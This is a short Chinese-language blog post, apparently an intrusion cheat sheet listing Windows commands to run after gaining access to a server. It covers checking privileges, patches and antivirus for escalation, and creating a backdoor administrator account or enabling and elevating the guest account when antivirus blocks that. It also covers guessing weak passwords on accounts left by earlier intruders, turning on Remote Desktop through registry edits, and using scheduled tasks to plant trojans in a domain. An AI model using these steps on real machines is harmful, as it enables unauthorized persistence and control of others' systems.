1、whoami
查看当前权限,当不是administrator
或者system
时需要提权
2、ipconfig
,查看服务器为内网还是外网,内网进服务器则需要转发端口
3、quser
查看管理是否在线
4、systeminfo
查看服务器信息及相应的补丁,可找相应的补丁提权
5、tasklist
查看当前运行的进程,是否有av
,可利用的第三方的服务提权等
6、net user
查看用户,当发现可疑用户时,可以弱口令尝试一波,因为可能是前辈的脚印,大多数都是弱口令
7、
net user soarli secquan /add
添加一个账号为soarli
密码为secquan
的用户,当权限不足时或者有av
拦截会提示拒绝访问然后一般会出现一个数字5
8、
net localgroup administrators soarli /add
将soarli
这个用户加到管理组
9、当有av
拦截第5步添加用户时,可以激活guest
账户
net user guest /active:yes
,重复第6步,将guest
账户提升至管理员
10、删除用户
net user secquan /del
11、查看远程桌面端口,
tasklist /svc
在输出的内容中查找svchost.exe
进程下termservice
服务对应的PID
,在此查看的PID
为:2400
,查看第五步时pid
为2400
的端口,既为远程桌面端口
12、查看远程端口或者使用注册表(REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" “Server\WinStations\RDP-Tcp /v PortNumber)
再set /a a=0xd3d
13、当远程桌面服务被关闭时,可以用注册表命令开启(REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal” "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f)
14、结束进程,
taskkill /im mspaint.exe
或者
taskkill /pid pid
号。结束1484
这个进程
tasjkill /pid 4048
15、 netstat
查看端口连接
16、set
查看命令组件是否可执行
17、sc
查看mysql
查看服务运行权限和路径的
18、 at
,定时任务,常用于域中种马
参考资料:
https://blog.csdn.net/weixin_39216626/article/details/103869243
版权属于:soarli
本文链接:https://blog.soarli.top/archives/506.html
转载时须注明出处及本声明。